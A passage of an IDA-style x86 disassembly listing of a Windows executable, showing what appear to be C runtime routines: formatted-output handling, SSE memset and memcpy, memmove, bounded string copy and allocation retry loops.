		call	sub_410E49
		add	esp, 0Ch

loc_411712:				; CODE XREF: sub_410EB7+848j
		push	[ebp+1F8h+var_234]
		mov	edi, [ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_230]
		call	sub_410E6D
		test	byte ptr [ebp+1F8h+var_210], 8
		pop	ecx
		jz	short loc_41173F
		test	byte ptr [ebp+1F8h+var_210], 4
		jnz	short loc_41173F
		push	edi
		push	ebx
		push	30h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_410E49
		add	esp, 0Ch

loc_41173F:				; CODE XREF: sub_410EB7+871j
					; sub_410EB7+877j
		cmp	[ebp+1F8h+var_23C], 0
		mov	eax, [ebp+1F8h+var_220]
		jz	short loc_411799
		test	eax, eax
		jle	short loc_411799
		mov	esi, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_260], eax

loc_411752:				; CODE XREF: sub_410EB7+8D8j
		movzx	eax, word ptr [esi]
		dec	[ebp+1F8h+var_260]
		push	eax
		push	6
		lea	eax, [ebp+1F8h+var_C]
		push	eax
		lea	eax, [ebp+1F8h+var_268]
		inc	esi
		push	eax
		inc	esi
		call	sub_4179F2
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411793
		cmp	[ebp+1F8h+var_268], eax
		jz	short loc_411793
		push	[ebp+1F8h+var_268]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_C]
		call	sub_410E6D
		cmp	[ebp+1F8h+var_260], 0
		pop	ecx
		jnz	short loc_411752
		jmp	short loc_4117A6
; ---------------------------------------------------------------------------

loc_411793:				; CODE XREF: sub_410EB7+8BBj
					; sub_410EB7+8C0j
		or	[ebp+1F8h+var_22C], 0FFFFFFFFh
		jmp	short loc_4117A6
; ---------------------------------------------------------------------------

loc_411799:				; CODE XREF: sub_410EB7+88Fj
					; sub_410EB7+893j
		mov	ecx, [ebp+1F8h+var_21C]
		push	eax
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_410E6D
		pop	ecx

loc_4117A6:				; CODE XREF: sub_410EB7+8DAj
					; sub_410EB7+8E0j
		cmp	[ebp+1F8h+var_22C], 0
		jl	short loc_4117C1
		test	byte ptr [ebp+1F8h+var_210], 4
		jz	short loc_4117C1
		push	edi
		push	ebx
		push	20h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_410E49
		add	esp, 0Ch

loc_4117C1:				; CODE XREF: sub_410EB7+57Cj
					; sub_410EB7+809j ...
		cmp	[ebp+1F8h+var_24C], 0
		jz	short loc_4117D4 ; default
		push	[ebp+1F8h+var_24C]
		call	sub_40DBA6
		and	[ebp+1F8h+var_24C], 0
		pop	ecx

loc_4117D4:				; CODE XREF: sub_410EB7+19Cj
					; sub_410EB7+1BFj ...
		mov	ebx, [ebp+1F8h+var_240]	; default
		mov	al, [ebx]
		test	al, al
		mov	[ebp+1F8h+var_211], al
		jz	short loc_411804
		mov	ecx, [ebp+1F8h+var_26C]
		mov	edi, [ebp+1F8h+var_224]
		mov	dl, al
		jmp	loc_411015
; ---------------------------------------------------------------------------

loc_4117ED:				; CODE XREF: sub_410EB7+36Ej
					; sub_410EB7+55Bj
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	loc_410F27
; ---------------------------------------------------------------------------

loc_411804:				; CODE XREF: sub_410EB7+158j
					; sub_410EB7+166j ...
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_411811
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_411811:				; CODE XREF: sub_410EB7+951j
		mov	eax, [ebp+1F8h+var_22C]

loc_411814:				; CODE XREF: sub_410EB7+88j
		mov	ecx, [ebp+1F8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 1F8h
		leave
		retn
sub_410EB7	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_41182F	dd offset loc_4111F9	; DATA XREF: sub_410EB7+1A2r
		dd offset loc_411060	; jump table for switch	statement
		dd offset loc_41107B
		dd offset loc_4110CA
		dd offset loc_411104
		dd offset loc_41110C
		dd offset loc_411143
		dd offset loc_41123B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41184F	proc near		; CODE XREF: sub_4118A6+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 7
		pxor	xmm0, xmm0
		jmp	short loc_41186F
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		db 90h
; ---------------------------------------------------------------------------

loc_41186F:				; CODE XREF: sub_41184F+16j
					; sub_41184F+4Ej
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm0
		movdqa	oword ptr [edi+20h], xmm0
		movdqa	oword ptr [edi+30h], xmm0
		movdqa	oword ptr [edi+40h], xmm0
		movdqa	oword ptr [edi+50h], xmm0
		movdqa	oword ptr [edi+60h], xmm0
		movdqa	oword ptr [edi+70h], xmm0
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_41186F
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41184F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118A6	proc near		; CODE XREF: sub_40CBA0+27j
					; sub_4118A6+7Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], edi
		mov	eax, [ebp+arg_0]
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		test	edi, edi
		jnz	short loc_411900
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		and	edx, 7Fh
		mov	[ebp+var_C], edx
		cmp	ecx, edx
		jz	short loc_4118E5
		sub	ecx, edx
		push	ecx
		push	eax
		call	sub_41184F
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]

loc_4118E5:				; CODE XREF: sub_4118A6+2Bj
		test	edx, edx
		jz	short loc_41192E
		add	eax, [ebp+arg_8]
		sub	eax, edx
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		rep stosb
		mov	eax, [ebp+arg_0]
		jmp	short loc_41192E
; ---------------------------------------------------------------------------

loc_411900:				; CODE XREF: sub_4118A6+1Cj
		neg	edi
		add	edi, 10h
		mov	[ebp+var_10], edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		rep stosb
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		add	ecx, eax
		sub	edx, eax
		push	edx
		push	0
		push	ecx
		call	sub_4118A6
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]

loc_41192E:				; CODE XREF: sub_4118A6+41j
					; sub_4118A6+58j
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4118A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_411935	proc near		; DATA XREF: ev73vtp2:0041E2C8o
		and	dword_434E1C, 0
		call	sub_417AF5
		mov	dword_434E1C, eax
		xor	eax, eax
		retn
sub_411935	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411949	proc near		; CODE XREF: sub_4119D0+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], esi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 7
		jmp	short loc_411969
; ---------------------------------------------------------------------------
		db 8Dh,	9Bh, 4 dup(0)
; ---------------------------------------------------------------------------

loc_411969:				; CODE XREF: sub_411949+18j
					; sub_411949+7Bj
		movdqa	xmm0, oword ptr	[esi]
		movdqa	xmm1, oword ptr	[esi+10h]
		movdqa	xmm2, oword ptr	[esi+20h]
		movdqa	xmm3, oword ptr	[esi+30h]
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm1
		movdqa	oword ptr [edi+20h], xmm2
		movdqa	oword ptr [edi+30h], xmm3
		movdqa	xmm4, oword ptr	[esi+40h]
		movdqa	xmm5, oword ptr	[esi+50h]
		movdqa	xmm6, oword ptr	[esi+60h]
		movdqa	xmm7, oword ptr	[esi+70h]
		movdqa	oword ptr [edi+40h], xmm4
		movdqa	oword ptr [edi+50h], xmm5
		movdqa	oword ptr [edi+60h], xmm6
		movdqa	oword ptr [edi+70h], xmm7
		lea	esi, [esi+80h]
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_411969
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_411949	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119D0	proc near		; CODE XREF: sub_40CC20+42j
					; sub_4119D0+AFp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cdq
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		xor	ecx, edx
		sub	ecx, edx
		and	ecx, 0Fh
		xor	ecx, edx
		sub	ecx, edx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		mov	edx, ecx
		or	edx, edi
		jnz	short loc_411A53
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		and	ecx, 7Fh
		mov	[ebp+var_18], ecx
		cmp	esi, ecx
		jz	short loc_411A2B
		sub	esi, ecx
		push	esi
		push	ebx
		push	eax
		call	sub_411949
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]

loc_411A2B:				; CODE XREF: sub_4119D0+46j
		test	ecx, ecx
		jz	short loc_411AA6
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		sub	edx, ecx
		mov	[ebp+var_14], edx
		add	ebx, eax
		sub	ebx, ecx
		mov	[ebp+var_10], ebx
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		rep movsb
		mov	eax, [ebp+arg_0]
		jmp	short loc_411AA6
; ---------------------------------------------------------------------------

loc_411A53:				; CODE XREF: sub_4119D0+37j
		cmp	ecx, edi
		jnz	short loc_411A8C
		neg	ecx
		add	ecx, 10h
		mov	[ebp+var_1C], ecx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		rep movsb
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_1C]
		push	eax
		push	edx
		push	ecx
		call	sub_4119D0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		jmp	short loc_411AA6
; ---------------------------------------------------------------------------

loc_411A8C:				; CODE XREF: sub_4119D0+85j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_0]

loc_411AA6:				; CODE XREF: sub_4119D0+5Dj
					; sub_4119D0+81j ...
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4119D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AC0	proc near		; CODE XREF: sub_40CF85+4Dp
					; sub_410030+2DAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_411AE0
		cmp	edi, eax
		jb	loc_411C84

loc_411AE0:				; CODE XREF: sub_411AC0+16j
		cmp	ecx, 100h
		jb	short loc_411B07
		cmp	dword_434E20, 0
		jz	short loc_411B07
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_411B07
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_4119D0
; ---------------------------------------------------------------------------

loc_411B07:				; CODE XREF: sub_411AC0+26j
					; sub_411AC0+2Fj ...
		test	edi, 3
		jnz	short loc_411B24
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_411B44
		rep movsd
		jmp	ds:off_411C34[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411B24:				; CODE XREF: sub_411AC0+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_411B3C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_411B44+4[eax*4]
; ---------------------------------------------------------------------------

loc_411B3C:				; CODE XREF: sub_411AC0+6Ej
		jmp	dword ptr ds:loc_411C44[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411B44:				; CODE XREF: sub_411AC0+58j
					; sub_411AC0+B6j ...
		jmp	ds:off_411BC8[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411B58
		dd offset loc_411B84
		dd offset loc_411BA8
; ---------------------------------------------------------------------------

loc_411B58:				; DATA XREF: sub_411AC0+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_411B44
		rep movsd
		jmp	ds:off_411C34[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411B84:				; DATA XREF: sub_411AC0+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_411B44
		rep movsd
		jmp	ds:off_411C34[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411BA8:				; DATA XREF: sub_411AC0+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_411B44
		rep movsd
		jmp	ds:off_411C34[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_411BC8	dd offset loc_411C2B	; DATA XREF: sub_411AC0:loc_411B44r
		dd offset loc_411C18
		dd offset loc_411C10
		dd offset loc_411C08
		dd offset loc_411C00
		dd offset loc_411BF8
		dd offset loc_411BF0
		dd offset loc_411BE8
; ---------------------------------------------------------------------------

loc_411BE8:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_411BF0:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_411BF8:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_411C00:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_411C08:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_411C10:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_411C18:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_411C2B:				; CODE XREF: sub_411AC0:loc_411B44j
					; DATA XREF: sub_411AC0:off_411BC8o
		jmp	ds:off_411C34[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_411C34	dd offset loc_411C44	; DATA XREF: sub_411AC0+5Cr
					; sub_411AC0+BAr ...
		dd offset loc_411C4C
		dd offset loc_411C58
		dd offset loc_411C6C
; ---------------------------------------------------------------------------

loc_411C44:				; CODE XREF: sub_411AC0+5Cj
					; sub_411AC0+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411C4C:				; CODE XREF: sub_411AC0+5Cj
					; sub_411AC0+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411C58:				; CODE XREF: sub_411AC0+5Cj
					; sub_411AC0+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411C6C:				; CODE XREF: sub_411AC0+5Cj
					; sub_411AC0+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411C84:				; CODE XREF: sub_411AC0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_411CB8
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_411CAC
		std
		rep movsd
		cld
		jmp	ds:off_411DD0[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411CAC:				; CODE XREF: sub_411AC0+1DDj
					; sub_411AC0+238j ...
		neg	ecx
		jmp	ds:off_411D80[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_411CB8:				; CODE XREF: sub_411AC0+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_411CD0
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_411CD0+4[eax*4]
; ---------------------------------------------------------------------------

loc_411CD0:				; CODE XREF: sub_411AC0+202j
					; DATA XREF: sub_411AC0+209r
		jmp	ds:off_411DD0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411CE3+1
; ---------------------------------------------------------------------------
		or	ds:1D300041h, bl
		inc	ecx

loc_411CE3:				; DATA XREF: sub_411AC0+218o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_411CAC
		std
		rep movsd
		cld
		jmp	ds:off_411DD0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_411CAC
		std
		rep movsd
		cld
		jmp	ds:off_411DD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_411CAC
		std
		rep movsd
		cld
		jmp	ds:off_411DD0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411D84
		dd offset loc_411D8C
		dd offset loc_411D94
		dd offset loc_411D9C
		dd offset loc_411DA4
		dd offset loc_411DAC
		dd offset loc_411DB4
off_411D80	dd offset loc_411DC7	; DATA XREF: sub_411AC0+1EEr
; ---------------------------------------------------------------------------

loc_411D84:				; DATA XREF: sub_411AC0+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_411D8C:				; DATA XREF: sub_411AC0+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_411D94:				; DATA XREF: sub_411AC0+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_411D9C:				; DATA XREF: sub_411AC0+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_411DA4:				; DATA XREF: sub_411AC0+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_411DAC:				; DATA XREF: sub_411AC0+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_411DB4:				; DATA XREF: sub_411AC0+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_411DC7:				; CODE XREF: sub_411AC0+1EEj
					; DATA XREF: sub_411AC0:off_411D80o
		jmp	ds:off_411DD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_411DD0	dd offset loc_411DE0	; DATA XREF: sub_411AC0+1E3r
					; sub_411AC0:loc_411CD0r ...
		dd offset loc_411DE8
		dd offset loc_411DF8
		dd offset loc_411E0C
; ---------------------------------------------------------------------------

loc_411DE0:				; CODE XREF: sub_411AC0+1E3j
					; sub_411AC0:loc_411CD0j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411DE8:				; CODE XREF: sub_411AC0+1E3j
					; sub_411AC0:loc_411CD0j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411DF8:				; CODE XREF: sub_411AC0+1E3j
					; sub_411AC0:loc_411CD0j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_411E0C:				; CODE XREF: sub_411AC0+1E3j
					; sub_411AC0:loc_411CD0j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_411AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E25	proc near		; CODE XREF: sub_40CFF1+31p
					; sub_40D057+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jz	short loc_411E3A
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_411E55

loc_411E3A:				; CODE XREF: sub_411E25+Bj
					; sub_411E25+3Aj
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_411E44:				; CODE XREF: sub_411E25+5Dj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_411E86
; ---------------------------------------------------------------------------

loc_411E55:				; CODE XREF: sub_411E25+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_411E61
		mov	[ecx], bl
		jmp	short loc_411E3A
; ---------------------------------------------------------------------------

loc_411E61:				; CODE XREF: sub_411E25+36j
		mov	edx, ecx

loc_411E63:				; CODE XREF: sub_411E25+49j
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		inc	esi
		cmp	al, bl
		jz	short loc_411E70
		dec	edi
		jnz	short loc_411E63

loc_411E70:				; CODE XREF: sub_411E25+46j
		cmp	edi, ebx
		jnz	short loc_411E84
		mov	[ecx], bl
		call	sub_40FCB4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_411E44
; ---------------------------------------------------------------------------

loc_411E84:				; CODE XREF: sub_411E25+4Dj
		xor	eax, eax

loc_411E86:				; CODE XREF: sub_411E25+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_411E25	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E8A	proc near		; CODE XREF: sub_40F14A+3Bp
					; sub_40FE14+48p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		xor	esi, esi

loc_411E8E:				; CODE XREF: sub_411E8A+39j
		push	[esp+8+arg_0]
		call	sub_40DC83
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_411EC5
		cmp	dword_425FD0, eax
		jbe	short loc_411EC5
		push	esi
		call	ds:off_41E0FC
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FD0
		jbe	short loc_411EBE
		or	eax, 0FFFFFFFFh

loc_411EBE:				; CODE XREF: sub_411E8A+2Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_411E8E

loc_411EC5:				; CODE XREF: sub_411E8A+12j
					; sub_411E8A+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_411E8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411ECA	proc near		; CODE XREF: sub_40D19B+5p
					; sub_40F7FB+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi

loc_411ECE:				; CODE XREF: sub_411ECA+41j
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417B62
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_411F0D
		cmp	dword_425FD0, eax
		jbe	short loc_411F0D
		push	esi
		call	ds:off_41E0FC
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FD0
		jbe	short loc_411F06
		or	eax, 0FFFFFFFFh

loc_411F06:				; CODE XREF: sub_411ECA+37j
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_411ECE

loc_411F0D:				; CODE XREF: sub_411ECA+1Aj
					; sub_411ECA+22j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_411ECA	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F12	proc near		; CODE XREF: sub_40D0EE+58p
					; sub_40D0EE+6Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi

loc_411F16:				; CODE XREF: sub_411F12+44j
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417C80
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_411F58
		cmp	[esp+8+arg_4], eax
		jz	short loc_411F58
		cmp	dword_425FD0, eax
		jbe	short loc_411F58
		push	esi
		call	ds:off_41E0FC
		lea	eax, [esi+3E8h]
		cmp	eax, dword_425FD0
		jbe	short loc_411F51
		or	eax, 0FFFFFFFFh

loc_411F51:				; CODE XREF: sub_411F12+3Aj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_411F16

loc_411F58:				; CODE XREF: sub_411F12+17j
					; sub_411F12+1Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_411F12	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F5D	proc near		; CODE XREF: sub_4130A8+40p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		xor	esi, esi

loc_411F61:				; CODE XREF: sub_411F5D+49j
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417E9B
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_411FA8
		cmp	[esp+8+arg_8], eax
		jz	short loc_411FA8
		cmp	dword_425FD0, eax
		jbe	short loc_411FA8
		push	esi
		call	ds:off_41E0FC
		lea	eax, [esi+3E8h]
